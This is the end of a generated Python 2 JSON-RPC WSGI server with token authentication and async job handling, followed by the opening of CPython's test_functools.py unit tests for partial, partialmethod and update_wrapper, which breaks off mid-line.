InvalidParamsError('not enough arguments') # Does it have too many arguments? if(not self._vargs(method) and len(params) > self._max_args(method) - 1): raise InvalidParamsError('too many arguments') result = method(ctx, *params) elif isinstance(params, dict): # Do not accept keyword arguments if the jsonrpc version is # not >=1.1. if request['jsonrpc'] < 11: raise KeywordError result = method(ctx, **params) else: # No params result = method(ctx) except JSONRPCError: raise except Exception as e: # log.exception('method %s threw an exception' % request['method']) # Exception was raised inside the method. newerr = ServerError() newerr.trace = traceback.format_exc() newerr.data = e.__str__() raise newerr return result def call_py(self, ctx, jsondata): """ Calls jsonrpc service's method and returns its return value in python object format or None if there is none. This method is same as call() except the return value is a python object instead of JSON string. This method is mainly only useful for debugging purposes. """ rdata = jsondata # we already deserialize the json string earlier in the server code, no # need to do it again # try: # rdata = json.loads(jsondata) # except ValueError: # raise ParseError # set some default values for error handling request = self._get_default_vals() if isinstance(rdata, dict) and rdata: # It's a single request. self._fill_request(request, rdata) respond = self._handle_request(ctx, request) # Don't respond to notifications if respond is None: return None return respond elif isinstance(rdata, list) and rdata: # It's a batch. requests = [] responds = [] for rdata_ in rdata: # set some default values for error handling request_ = self._get_default_vals() self._fill_request(request_, rdata_) requests.append(request_) for request_ in requests: respond = self._handle_request(ctx, request_) # Don't respond to notifications if respond is not None: responds.append(respond) if responds: return responds # Nothing to respond. return None else: # empty dict, list or wrong type raise InvalidRequestError def _handle_request(self, ctx, request): """Handles given request and returns its response.""" if self.method_data[request['method']].has_key('types'): # @IgnorePep8 self._validate_params_types(request['method'], request['params']) result = self._call_method(ctx, request) # Do not respond to notifications. if request['id'] is None: return None respond = {} self._fill_ver(request['jsonrpc'], respond) respond['result'] = result respond['id'] = request['id'] return respond class MethodContext(dict): def __init__(self, logger): self['client_ip'] = None self['user_id'] = None self['authenticated'] = None self['token'] = None self['module'] = None self['method'] = None self['call_id'] = None self['rpc_context'] = None self['provenance'] = None self._debug_levels = set([7, 8, 9, 'DEBUG', 'DEBUG2', 'DEBUG3']) self._logger = logger def log_err(self, message): self._log(log.ERR, message) def log_info(self, message): self._log(log.INFO, message) def log_debug(self, message, level=1): if level in self._debug_levels: pass else: level = int(level) if level < 1 or level > 3: raise ValueError("Illegal log level: " + str(level)) level = level + 6 self._log(level, message) def set_log_level(self, level): self._logger.set_log_level(level) def get_log_level(self): return self._logger.get_log_level() def clear_log_level(self): self._logger.clear_user_log_level() def _log(self, level, message): self._logger.log_message(level, message, self['client_ip'], self['user_id'], self['module'], self['method'], self['call_id']) def getIPAddress(environ): xFF = environ.get('HTTP_X_FORWARDED_FOR') realIP = environ.get('HTTP_X_REAL_IP') trustXHeaders = config is None or \ config.get('dont_trust_x_ip_headers') != 'true' if (trustXHeaders): if (xFF): return xFF.split(',')[0].strip() if (realIP): return realIP.strip() return environ.get('REMOTE_ADDR') class Application(object): # Wrap the wsgi handler in a class definition so that we can # do some initialization and avoid regenerating stuff over # and over def logcallback(self): self.serverlog.set_log_file(self.userlog.get_log_file()) def log(self, level, context, message): self.serverlog.log_message(level, message, context['client_ip'], context['user_id'], context['module'], context['method'], context['call_id']) def __init__(self): submod = get_service_name() or 'test' self.userlog = log.log( submod, ip_address=True, authuser=True, module=True, method=True, call_id=True, changecallback=self.logcallback, config=get_config_file()) self.serverlog = log.log( submod, ip_address=True, authuser=True, module=True, method=True, call_id=True, logfile=self.userlog.get_log_file()) self.serverlog.set_log_level(6) self.rpc_service = JSONRPCServiceCustom() self.method_authentication = dict() self.rpc_service.add(impl_test.filter_contigs, name='test.filter_contigs', types=[dict]) self.method_authentication['test.filter_contigs'] = 'required' self.auth_client = biokbase.nexus.Client( config={'server': 'nexus.api.globusonline.org', 'verify_ssl': True, 'client': None, 'client_secret': None}) def __call__(self, environ, start_response): # Context object, equivalent to the perl impl CallContext ctx = MethodContext(self.userlog) ctx['client_ip'] = getIPAddress(environ) status = '500 Internal Server Error' try: body_size = int(environ.get('CONTENT_LENGTH', 0)) except (ValueError): body_size = 0 if environ['REQUEST_METHOD'] == 'OPTIONS': # we basically do nothing and just return headers status = '200 OK' rpc_result = "" else: request_body = environ['wsgi.input'].read(body_size) try: req = json.loads(request_body) except ValueError as ve: err = {'error': {'code': -32700, 'name': "Parse error", 'message': str(ve), } } rpc_result = self.process_error(err, ctx, {'version': '1.1'}) else: ctx['module'], ctx['method'] = req['method'].split('.') ctx['call_id'] = req['id'] ctx['rpc_context'] = {'call_stack': [{'time':self.now_in_utc(), 'method': req['method']}]} prov_action = {'service': ctx['module'], 'method': ctx['method'], 'method_params': req['params']} ctx['provenance'] = [prov_action] try: token = environ.get('HTTP_AUTHORIZATION') # parse out the method being requested and check if it # has an authentication requirement method_name = req['method'] if method_name in async_run_methods: method_name = async_run_methods[method_name][0] + "." + async_run_methods[method_name][1] if method_name in async_check_methods: method_name = async_check_methods[method_name][0] + "." + async_check_methods[method_name][1] auth_req = self.method_authentication.get(method_name, "none") if auth_req != "none": if token is None and auth_req == 'required': err = ServerError() err.data = "Authentication required for " + \ "test but no authentication header was passed" raise err elif token is None and auth_req == 'optional': pass else: try: user, _, _ = \ self.auth_client.validate_token(token) ctx['user_id'] = user ctx['authenticated'] = 1 ctx['token'] = token except Exception, e: if auth_req == 'required': err = ServerError() err.data = \ "Token validation failed: %s" % e raise err if (environ.get('HTTP_X_FORWARDED_FOR')): self.log(log.INFO, ctx, 'X-Forwarded-For: ' + environ.get('HTTP_X_FORWARDED_FOR')) method_name = req['method'] if method_name in async_run_methods or method_name in async_check_methods: if method_name in async_run_methods: orig_method_pair = async_run_methods[method_name] else: orig_method_pair = async_check_methods[method_name] orig_method_name = orig_method_pair[0] + '.' + orig_method_pair[1] if 'required' != self.method_authentication.get(orig_method_name, 'none'): err = ServerError() err.data = 'Async method ' + orig_method_name + ' should require ' + \ 'authentication, but it has authentication level: ' + \ self.method_authentication.get(orig_method_name, 'none') raise err job_service_client = AsyncJobServiceClient(token = ctx['token']) if method_name in async_run_methods: run_job_params = { 'method': orig_method_name, 'params': req['params']} if 'rpc_context' in ctx: run_job_params['rpc_context'] = ctx['rpc_context'] job_id = job_service_client.run_job(run_job_params) respond = {'version': '1.1', 'result': [job_id], 'id': req['id']} rpc_result = json.dumps(respond, cls=JSONObjectEncoder) status = '200 OK' else: job_id = req['params'][0] job_state = job_service_client.check_job(job_id) finished = job_state['finished'] if finished != 0 and 'error' in job_state and job_state['error'] is not None: err = {'error': job_state['error']} rpc_result = self.process_error(err, ctx, req, None) else: respond = {'version': '1.1', 'result': [job_state], 'id': req['id']} rpc_result = json.dumps(respond, cls=JSONObjectEncoder) status = '200 OK' elif method_name in sync_methods or (method_name + '_async') not in async_run_methods: self.log(log.INFO, ctx, 'start method') rpc_result = self.rpc_service.call(ctx, req) self.log(log.INFO, ctx, 'end method') status = '200 OK' else: err = ServerError() err.data = 'Method ' + method_name + ' cannot be run synchronously' raise err except JSONRPCError as jre: err = {'error': {'code': jre.code, 'name': jre.message, 'message': jre.data } } trace = jre.trace if hasattr(jre, 'trace') else None rpc_result = self.process_error(err, ctx, req, trace) except Exception, e: err = {'error': {'code': 0, 'name': 'Unexpected Server Error', 'message': 'An unexpected server error ' + 'occurred', } } rpc_result = self.process_error(err, ctx, req, traceback.format_exc()) # print 'The request method was %s\n' % environ['REQUEST_METHOD'] # print 'The environment dictionary is:\n%s\n' % pprint.pformat(environ) @IgnorePep8 # print 'The request body was: %s' % request_body # print 'The result from the method call is:\n%s\n' % \ # pprint.pformat(rpc_result) if rpc_result: response_body = rpc_result else: response_body = '' response_headers = [ ('Access-Control-Allow-Origin', '*'), ('Access-Control-Allow-Headers', environ.get( 'HTTP_ACCESS_CONTROL_REQUEST_HEADERS', 'authorization')), ('content-type', 'application/json'), ('content-length', str(len(response_body)))] start_response(status, response_headers) return [response_body] def process_error(self, error, context, request, trace=None): if trace: self.log(log.ERR, context, trace.split('\n')[0:-1]) if 'id' in request: error['id'] = request['id'] if 'version' in request: error['version'] = request['version'] if 'error' not in error['error'] or error['error']['error'] is None: error['error']['error'] = trace elif 'jsonrpc' in request: error['jsonrpc'] = request['jsonrpc'] error['error']['data'] = trace else: error['version'] = '1.0' error['error']['error'] = trace return json.dumps(error) def now_in_utc(self): # Taken from http://stackoverflow.com/questions/3401428/how-to-get-an-isoformat-datetime-string-including-the-default-timezone dtnow = datetime.datetime.now() dtutcnow = datetime.datetime.utcnow() delta = dtnow - dtutcnow hh,mm = divmod((delta.days * 24*60*60 + delta.seconds + 30) // 60, 60) return "%s%+02d:%02d" % (dtnow.isoformat(), hh, mm) application = Application() # This is the uwsgi application dictionary. On startup uwsgi will look # for this dict and pull its configuration from here. # This simply lists where to "mount" the application in the URL path # # This uwsgi module "magically" appears when running the app within # uwsgi and is not available otherwise, so wrap an exception handler # around it # # To run this server in uwsgi with 4 workers listening on port 9999 use: # uwsgi -M -p 4 --http :9999 --wsgi-file _this_file_ # To run a using the single threaded python BaseHTTP service # listening on port 9999 by default execute this file # try: import uwsgi # Before we do anything with the application, see if the # configs specify patching all std routines to be asynch # *ONLY* use this if you are going to wrap the service in # a wsgi container that has enabled gevent, such as # uwsgi with the --gevent option if config is not None and config.get('gevent_monkeypatch_all', False): print "Monkeypatching std libraries for async" from gevent import monkey monkey.patch_all() uwsgi.applications = { '': application } except ImportError: # Not available outside of wsgi, ignore pass _proc = None def start_server(host='localhost', port=0, newprocess=False): ''' By default, will start the server on localhost on a system assigned port in the main thread. Excecution of the main thread will stay in the server main loop until interrupted. To run the server in a separate process, and thus allow the stop_server method to be called, set newprocess = True. This will also allow returning of the port number.''' global _proc if _proc: raise RuntimeError('server is already running') httpd = make_server(host, port, application) port = httpd.server_address[1] print "Listening on port %s" % port if newprocess: _proc = Process(target=httpd.serve_forever) _proc.daemon = True _proc.start() else: httpd.serve_forever() return port def stop_server(): global _proc _proc.terminate() _proc = None def process_async_cli(input_file_path, output_file_path, token): exit_code = 0 with open(input_file_path) as data_file: req = json.load(data_file) if 'version' not in req: req['version'] = '1.1' if 'id' not in req: req['id'] = str(_random.random())[2:] ctx = MethodContext(application.userlog) if token: user, _, _ = application.auth_client.validate_token(token) ctx['user_id'] = user ctx['authenticated'] = 1 ctx['token'] = token if 'context' in req: ctx['rpc_context'] = req['context'] ctx['CLI'] = 1 ctx['module'], ctx['method'] = req['method'].split('.') prov_action = {'service': ctx['module'], 'method': ctx['method'], 'method_params': req['params']} ctx['provenance'] = [prov_action] resp = None try: resp = application.rpc_service.call_py(ctx, req) except JSONRPCError as jre: trace = jre.trace if hasattr(jre, 'trace') else None resp = {'id': req['id'], 'version': req['version'], 'error': {'code': jre.code, 'name': jre.message, 'message': jre.data, 'error': trace} } except Exception, e: trace = traceback.format_exc() resp = {'id': req['id'], 'version': req['version'], 'error': {'code': 0, 'name': 'Unexpected Server Error', 'message': 'An unexpected server error occurred', 'error': trace} } if 'error' in resp: exit_code = 500 with open(output_file_path, "w") as f: f.write(json.dumps(resp, cls=JSONObjectEncoder)) return exit_code if __name__ == "__main__": if len(sys.argv) >= 3 and len(sys.argv) <= 4 and os.path.isfile(sys.argv[1]): token = None if len(sys.argv) == 4: if os.path.isfile(sys.argv[3]): with open(sys.argv[3]) as token_file: token = token_file.read() else: token = sys.argv[3] sys.exit(process_async_cli(sys.argv[1], sys.argv[2], token)) try: opts, args = getopt(sys.argv[1:], "", ["port=", "host="]) except GetoptError as err: # print help information and exit: print str(err) # will print something like "option -a not recognized" sys.exit(2) port = 9999 host = 'localhost' for o, a in opts: if o == '--port': port = int(a) elif o == '--host': host = a print "Host set to %s" % host else: assert False, "unhandled option" start_server(host=host, port=port) # print "Listening on port %s" % port # httpd = make_server( host, port, application) # # httpd.serve_forever()
test_functools.py
import abc import builtins import collections import collections.abc import copy from itertools import permutations import pickle from random import choice import sys from test import support import threading import time import typing import unittest import unittest.mock import os import weakref import gc from weakref import proxy import contextlib from test.support import import_helper from test.support import threading_helper from test.support.script_helper import assert_python_ok import functools py_functools = import_helper.import_fresh_module('functools', blocked=['_functools']) c_functools = import_helper.import_fresh_module('functools') decimal = import_helper.import_fresh_module('decimal', fresh=['_decimal']) @contextlib.contextmanager def replaced_module(name, replacement): original_module = sys.modules[name] sys.modules[name] = replacement try: yield finally: sys.modules[name] = original_module def capture(*args, **kw): """capture all positional and keyword arguments""" return args, kw def signature(part): """ return the signature of a partial object """ return (part.func, part.args, part.keywords, part.__dict__) class MyTuple(tuple): pass class BadTuple(tuple): def __add__(self, other): return list(self) + list(other) class MyDict(dict): pass class TestPartial: def test_basic_examples(self): p = self.partial(capture, 1, 2, a=10, b=20) self.assertTrue(callable(p)) self.assertEqual(p(3, 4, b=30, c=40), ((1, 2, 3, 4), dict(a=10, b=30, c=40))) p = self.partial(map, lambda x: x*10) self.assertEqual(list(p([1,2,3,4])), [10, 20, 30, 40]) def test_attributes(self): p = self.partial(capture, 1, 2, a=10, b=20) # attributes should be readable self.assertEqual(p.func, capture) self.assertEqual(p.args, (1, 2)) self.assertEqual(p.keywords, dict(a=10, b=20)) def test_argument_checking(self): self.assertRaises(TypeError, self.partial) # need at least a func arg try: self.partial(2)() except TypeError: pass else: self.fail('First arg not checked for callability') def test_protection_of_callers_dict_argument(self): # a caller's dictionary should not be altered by partial def func(a=10, b=20): return a d = {'a':3} p = self.partial(func, a=5) self.assertEqual(p(**d), 3) self.assertEqual(d, {'a':3}) p(b=7) self.assertEqual(d, {'a':3}) def test_kwargs_copy(self): # Issue #29532: Altering a kwarg dictionary passed to a constructor # should not affect a partial object after creation d = {'a': 3} p = self.partial(capture, **d) self.assertEqual(p(), ((), {'a': 3})) d['a'] = 5 self.assertEqual(p(), ((), {'a': 3})) def test_arg_combinations(self): # exercise special code paths for zero args in either partial # object or the caller p = self.partial(capture) self.assertEqual(p(), ((), {})) self.assertEqual(p(1,2), ((1,2), {})) p = self.partial(capture, 1, 2) self.assertEqual(p(), ((1,2), {})) self.assertEqual(p(3,4), ((1,2,3,4), {})) def test_kw_combinations(self): # exercise special code paths for no keyword args in # either the partial object or the caller p = self.partial(capture) self.assertEqual(p.keywords, {}) self.assertEqual(p(), ((), {})) self.assertEqual(p(a=1), ((), {'a':1})) p = self.partial(capture, a=1) self.assertEqual(p.keywords, {'a':1}) self.assertEqual(p(), ((), {'a':1})) self.assertEqual(p(b=2), ((), {'a':1, 'b':2})) # keyword args in the call override those in the partial object self.assertEqual(p(a=3, b=2), ((), {'a':3, 'b':2})) def test_positional(self): # make sure positional arguments are captured correctly for args in [(), (0,), (0,1), (0,1,2), (0,1,2,3)]: p = self.partial(capture, *args) expected = args + ('x',) got, empty = p('x') self.assertTrue(expected == got and empty == {}) def test_keyword(self): # make sure keyword arguments are captured correctly for a in ['a', 0, None, 3.5]: p = self.partial(capture, a=a) expected = {'a':a,'x':None} empty, got = p(x=None) self.assertTrue(expected == got and empty == ()) def test_no_side_effects(self): # make sure there are no side effects that affect subsequent calls p = self.partial(capture, 0, a=1) args1, kw1 = p(1, b=2) self.assertTrue(args1 == (0,1) and kw1 == {'a':1,'b':2}) args2, kw2 = p() self.assertTrue(args2 == (0,) and kw2 == {'a':1}) def test_error_propagation(self): def f(x, y): x / y self.assertRaises(ZeroDivisionError, self.partial(f, 1, 0)) self.assertRaises(ZeroDivisionError, self.partial(f, 1), 0) self.assertRaises(ZeroDivisionError, self.partial(f), 1, 0) self.assertRaises(ZeroDivisionError, self.partial(f, y=0), 1) def test_weakref(self): f = self.partial(int, base=16) p = proxy(f) self.assertEqual(f.func, p.func) f = None support.gc_collect() # For PyPy or other GCs. self.assertRaises(ReferenceError, getattr, p, 'func') def test_with_bound_and_unbound_methods(self): data = list(map(str, range(10))) join = self.partial(str.join, '') self.assertEqual(join(data), '0123456789') join = self.partial(''.join) self.assertEqual(join(data), '0123456789') def test_nested_optimization(self): partial = self.partial inner = partial(signature, 'asdf') nested = partial(inner, bar=True) flat = partial(signature, 'asdf', bar=True) self.assertEqual(signature(nested), signature(flat)) def test_nested_partial_with_attribute(self): # see issue 25137 partial = self.partial def foo(bar): return bar p = partial(foo, 'first') p2 = partial(p, 'second') p2.new_attr = 'spam' self.assertEqual(p2.new_attr, 'spam') def test_repr(self): args = (object(), object()) args_repr = ', '.join(repr(a) for a in args) kwargs = {'a': object(), 'b': object()} kwargs_reprs = ['a={a!r}, b={b!r}'.format_map(kwargs), 'b={b!r}, a={a!r}'.format_map(kwargs)] if self.partial in (c_functools.partial, py_functools.partial): name = 'functools.partial' else: name = self.partial.__name__ f = self.partial(capture) self.assertEqual(f'{name}({capture!r})', repr(f)) f = self.partial(capture, *args) self.assertEqual(f'{name}({capture!r}, {args_repr})', repr(f)) f = self.partial(capture, **kwargs) self.assertIn(repr(f), [f'{name}({capture!r}, {kwargs_repr})' for kwargs_repr in kwargs_reprs]) f = self.partial(capture, *args, **kwargs) self.assertIn(repr(f), [f'{name}({capture!r}, {args_repr}, {kwargs_repr})' for kwargs_repr in kwargs_reprs]) def test_recursive_repr(self): if self.partial in (c_functools.partial, py_functools.partial): name = 'functools.partial' else: name = self.partial.__name__ f = self.partial(capture) f.__setstate__((f, (), {}, {})) try: self.assertEqual(repr(f), '%s(...)' % (name,)) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (f,), {}, {})) try: self.assertEqual(repr(f), '%s(%r, ...)' % (name, capture,)) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (), {'a': f}, {})) try: self.assertEqual(repr(f), '%s(%r, a=...)' % (name, capture,)) finally: f.__setstate__((capture, (), {}, {})) def test_pickle(self): with self.AllowPickle(): f = self.partial(signature, ['asdf'], bar=[True]) f.attr = [] for proto in range(pickle.HIGHEST_PROTOCOL + 1): f_copy = pickle.loads(pickle.dumps(f, proto)) self.assertEqual(signature(f_copy), signature(f)) def test_copy(self): f = self.partial(signature, ['asdf'], bar=[True]) f.attr = [] f_copy = copy.copy(f) self.assertEqual(signature(f_copy), signature(f)) self.assertIs(f_copy.attr, f.attr) self.assertIs(f_copy.args, f.args) self.assertIs(f_copy.keywords, f.keywords) def test_deepcopy(self): f = self.partial(signature, ['asdf'], bar=[True]) f.attr = [] f_copy = copy.deepcopy(f) self.assertEqual(signature(f_copy), signature(f)) self.assertIsNot(f_copy.attr, f.attr) self.assertIsNot(f_copy.args, f.args) self.assertIsNot(f_copy.args[0], f.args[0]) self.assertIsNot(f_copy.keywords, f.keywords) self.assertIsNot(f_copy.keywords['bar'], f.keywords['bar']) def test_setstate(self): f = self.partial(signature) f.__setstate__((capture, (1,), dict(a=10), dict(attr=[]))) self.assertEqual(signature(f), (capture, (1,), dict(a=10), dict(attr=[]))) self.assertEqual(f(2, b=20), ((1, 2), {'a': 10, 'b': 20})) f.__setstate__((capture, (1,), dict(a=10), None)) self.assertEqual(signature(f), (capture, (1,), dict(a=10), {})) self.assertEqual(f(2, b=20), ((1, 2), {'a': 10, 'b': 20})) f.__setstate__((capture, (1,), None, None)) #self.assertEqual(signature(f), (capture, (1,), {}, {})) self.assertEqual(f(2, b=20), ((1, 2), {'b': 20})) self.assertEqual(f(2), ((1, 2), {})) self.assertEqual(f(), ((1,), {})) f.__setstate__((capture, (), {}, None)) self.assertEqual(signature(f), (capture, (), {}, {})) self.assertEqual(f(2, b=20), ((2,), {'b': 20})) self.assertEqual(f(2), ((2,), {})) self.assertEqual(f(), ((), {})) def test_setstate_errors(self): f = self.partial(signature) self.assertRaises(TypeError, f.__setstate__, (capture, (), {})) self.assertRaises(TypeError, f.__setstate__, (capture, (), {}, {}, None)) self.assertRaises(TypeError, f.__setstate__, [capture, (), {}, None]) self.assertRaises(TypeError, f.__setstate__, (None, (), {}, None)) self.assertRaises(TypeError, f.__setstate__, (capture, None, {}, None)) self.assertRaises(TypeError, f.__setstate__, (capture, [], {}, None)) self.assertRaises(TypeError, f.__setstate__, (capture, (), [], None)) def test_setstate_subclasses(self): f = self.partial(signature) f.__setstate__((capture, MyTuple((1,)), MyDict(a=10), None)) s = signature(f) self.assertEqual(s, (capture, (1,), dict(a=10), {})) self.assertIs(type(s[1]), tuple) self.assertIs(type(s[2]), dict) r = f() self.assertEqual(r, ((1,), {'a': 10})) self.assertIs(type(r[0]), tuple) self.assertIs(type(r[1]), dict) f.__setstate__((capture, BadTuple((1,)), {}, None)) s = signature(f) self.assertEqual(s, (capture, (1,), {}, {})) self.assertIs(type(s[1]), tuple) r = f(2) self.assertEqual(r, ((1, 2), {})) self.assertIs(type(r[0]), tuple) def test_recursive_pickle(self): with self.AllowPickle(): f = self.partial(capture) f.__setstate__((f, (), {}, {})) try: for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.assertRaises(RecursionError): pickle.dumps(f, proto) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (f,), {}, {})) try: for proto in range(pickle.HIGHEST_PROTOCOL + 1): f_copy = pickle.loads(pickle.dumps(f, proto)) try: self.assertIs(f_copy.args[0], f_copy) finally: f_copy.__setstate__((capture, (), {}, {})) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (), {'a': f}, {})) try: for proto in range(pickle.HIGHEST_PROTOCOL + 1): f_copy = pickle.loads(pickle.dumps(f, proto)) try: self.assertIs(f_copy.keywords['a'], f_copy) finally: f_copy.__setstate__((capture, (), {}, {})) finally: f.__setstate__((capture, (), {}, {})) # Issue 6083: Reference counting bug def test_setstate_refcount(self): class BadSequence: def __len__(self): return 4 def __getitem__(self, key): if key == 0: return max elif key == 1: return tuple(range(1000000)) elif key in (2, 3): return {} raise IndexError f = self.partial(object) self.assertRaises(TypeError, f.__setstate__, BadSequence()) @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestPartialC(TestPartial, unittest.TestCase): if c_functools: partial = c_functools.partial class AllowPickle: def __enter__(self): return self def __exit__(self, type, value, tb): return False def test_attributes_unwritable(self): # attributes should not be writable p = self.partial(capture, 1, 2, a=10, b=20) self.assertRaises(AttributeError, setattr, p, 'func', map) self.assertRaises(AttributeError, setattr, p, 'args', (1, 2)) self.assertRaises(AttributeError, setattr, p, 'keywords', dict(a=1, b=2)) p = self.partial(hex) try: del p.__dict__ except TypeError: pass else: self.fail('partial object allowed __dict__ to be deleted') def test_manually_adding_non_string_keyword(self): p = self.partial(capture) # Adding a non-string/unicode keyword to partial kwargs p.keywords[1234] = 'value' r = repr(p) self.assertIn('1234', r) self.assertIn("'value'", r) with self.assertRaises(TypeError): p() def test_keystr_replaces_value(self): p = self.partial(capture) class MutatesYourDict(object): def __str__(self): p.keywords[self] = ['sth2'] return 'astr' # Replacing the value during key formatting should keep the original # value alive (at least long enough). p.keywords[MutatesYourDict()] = ['sth'] r = repr(p) self.assertIn('astr', r) self.assertIn("['sth']", r) class TestPartialPy(TestPartial, unittest.TestCase): partial = py_functools.partial class AllowPickle: def __init__(self): self._cm = replaced_module("functools", py_functools) def __enter__(self): return self._cm.__enter__() def __exit__(self, type, value, tb): return self._cm.__exit__(type, value, tb) if c_functools: class CPartialSubclass(c_functools.partial): pass class PyPartialSubclass(py_functools.partial): pass @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestPartialCSubclass(TestPartialC): if c_functools: partial = CPartialSubclass # partial subclasses are not optimized for nested calls test_nested_optimization = None class TestPartialPySubclass(TestPartialPy): partial = PyPartialSubclass class TestPartialMethod(unittest.TestCase): class A(object): nothing = functools.partialmethod(capture) positional = functools.partialmethod(capture, 1) keywords = functools.partialmethod(capture, a=2) both = functools.partialmethod(capture, 3, b=4) spec_keywords = functools.partialmethod(capture, self=1, func=2) nested = functools.partialmethod(positional, 5) over_partial = functools.partialmethod(functools.partial(capture, c=6), 7) static = functools.partialmethod(staticmethod(capture), 8) cls = functools.partialmethod(classmethod(capture), d=9) a = A() def test_arg_combinations(self): self.assertEqual(self.a.nothing(), ((self.a,), {})) self.assertEqual(self.a.nothing(5), ((self.a, 5), {})) self.assertEqual(self.a.nothing(c=6), ((self.a,), {'c': 6})) self.assertEqual(self.a.nothing(5, c=6), ((self.a, 5), {'c': 6})) self.assertEqual(self.a.positional(), ((self.a, 1), {})) self.assertEqual(self.a.positional(5), ((self.a, 1, 5), {})) self.assertEqual(self.a.positional(c=6), ((self.a, 1), {'c': 6})) self.assertEqual(self.a.positional(5, c=6), ((self.a, 1, 5), {'c': 6})) self.assertEqual(self.a.keywords(), ((self.a,), {'a': 2})) self.assertEqual(self.a.keywords(5), ((self.a, 5), {'a': 2})) self.assertEqual(self.a.keywords(c=6), ((self.a,), {'a': 2, 'c': 6})) self.assertEqual(self.a.keywords(5, c=6), ((self.a, 5), {'a': 2, 'c': 6})) self.assertEqual(self.a.both(), ((self.a, 3), {'b': 4})) self.assertEqual(self.a.both(5), ((self.a, 3, 5), {'b': 4})) self.assertEqual(self.a.both(c=6), ((self.a, 3), {'b': 4, 'c': 6})) self.assertEqual(self.a.both(5, c=6), ((self.a, 3, 5), {'b': 4, 'c': 6})) self.assertEqual(self.A.both(self.a, 5, c=6), ((self.a, 3, 5), {'b': 4, 'c': 6})) self.assertEqual(self.a.spec_keywords(), ((self.a,), {'self': 1, 'func': 2})) def test_nested(self): self.assertEqual(self.a.nested(), ((self.a, 1, 5), {})) self.assertEqual(self.a.nested(6), ((self.a, 1, 5, 6), {})) self.assertEqual(self.a.nested(d=7), ((self.a, 1, 5), {'d': 7})) self.assertEqual(self.a.nested(6, d=7), ((self.a, 1, 5, 6), {'d': 7})) self.assertEqual(self.A.nested(self.a, 6, d=7), ((self.a, 1, 5, 6), {'d': 7})) def test_over_partial(self): self.assertEqual(self.a.over_partial(), ((self.a, 7), {'c': 6})) self.assertEqual(self.a.over_partial(5), ((self.a, 7, 5), {'c': 6})) self.assertEqual(self.a.over_partial(d=8), ((self.a, 7), {'c': 6, 'd': 8})) self.assertEqual(self.a.over_partial(5, d=8), ((self.a, 7, 5), {'c': 6, 'd': 8})) self.assertEqual(self.A.over_partial(self.a, 5, d=8), ((self.a, 7, 5), {'c': 6, 'd': 8})) def test_bound_method_introspection(self): obj = self.a self.assertIs(obj.both.__self__, obj) self.assertIs(obj.nested.__self__, obj) self.assertIs(obj.over_partial.__self__, obj) self.assertIs(obj.cls.__self__, self.A) self.assertIs(self.A.cls.__self__, self.A) def test_unbound_method_retrieval(self): obj = self.A self.assertFalse(hasattr(obj.both, "__self__")) self.assertFalse(hasattr(obj.nested, "__self__")) self.assertFalse(hasattr(obj.over_partial, "__self__")) self.assertFalse(hasattr(obj.static, "__self__")) self.assertFalse(hasattr(self.a.static, "__self__")) def test_descriptors(self): for obj in [self.A, self.a]: with self.subTest(obj=obj): self.assertEqual(obj.static(), ((8,), {})) self.assertEqual(obj.static(5), ((8, 5), {})) self.assertEqual(obj.static(d=8), ((8,), {'d': 8})) self.assertEqual(obj.static(5, d=8), ((8, 5), {'d': 8})) self.assertEqual(obj.cls(), ((self.A,), {'d': 9})) self.assertEqual(obj.cls(5), ((self.A, 5), {'d': 9})) self.assertEqual(obj.cls(c=8), ((self.A,), {'c': 8, 'd': 9})) self.assertEqual(obj.cls(5, c=8), ((self.A, 5), {'c': 8, 'd': 9})) def test_overriding_keywords(self): self.assertEqual(self.a.keywords(a=3), ((self.a,), {'a': 3})) self.assertEqual(self.A.keywords(self.a, a=3), ((self.a,), {'a': 3})) def test_invalid_args(self): with self.assertRaises(TypeError): class B(object): method = functools.partialmethod(None, 1) with self.assertRaises(TypeError): class B: method = functools.partialmethod() with self.assertRaises(TypeError): class B: method = functools.partialmethod(func=capture, a=1) def test_repr(self): self.assertEqual(repr(vars(self.A)['both']), 'functools.partialmethod({}, 3, b=4)'.format(capture)) def test_abstract(self): class Abstract(abc.ABCMeta): @abc.abstractmethod def add(self, x, y): pass add5 = functools.partialmethod(add, 5) self.assertTrue(Abstract.add.__isabstractmethod__) self.assertTrue(Abstract.add5.__isabstractmethod__) for func in [self.A.static, self.A.cls, self.A.over_partial, self.A.nested, self.A.both]: self.assertFalse(getattr(func, '__isabstractmethod__', False)) def test_positional_only(self): def f(a, b, /): return a + b p = functools.partial(f, 1) self.assertEqual(p(2), f(1, 2)) class TestUpdateWrapper(unittest.TestCase): def check_wrapper(self, wrapper, wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): # Check attributes were assigned for name in assigned: self.assertIs(getattr(wrapper, name), getattr(wrapped, name)) # Check attributes were updated for name in updated: wrapper_attr = getattr(wrapper, name) wrapped_attr = getattr(wrapped, name) for key in wrapped_attr: if name == "__dict__" and key == "__wrapped__": # __wrapped__ is overwritten by the update code continue self.assertIs(wrapped_attr[key], wrapper_attr[key]) # Check __wrapped__ self.assertIs(wrapper.__wrapped__, wrapped) def _default_update(self): def f(a:'This is a new annotation'): """This is a test""" pass f.attr = 'This is also a test' f.__wrapped__ = "This is a bald faced lie" def wrapper(b:'This is the prior annotation'): pass functools.update_wrapper(wrapper, f) return wrapper, f def test_default_update(self): wrapper, f = self._default_update() self.check_wrapper(wrapper, f) self.assertIs(wrapper.__wrapped__, f) self.assertEqual(wrapper.__name__, 'f') self.assertEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.attr, 'This is also a test') self.assertEqual(wrapper.__annotations__['a'], 'This is a new annotation') self.assertNotIn('b', wrapper.__annotations__) @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_default_update_doc(self): wrapper, f = self._default_update() self.assertEqual(wrapper.__doc__, 'This is a test') def test_no_update(self): def f(): """This is a test""" pass f.attr = 'This is also a test' def wrapper(): pass functools.update_wrapper(wrapper, f, (), ()) self.check_wrapper(wrapper, f, (), ()) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, 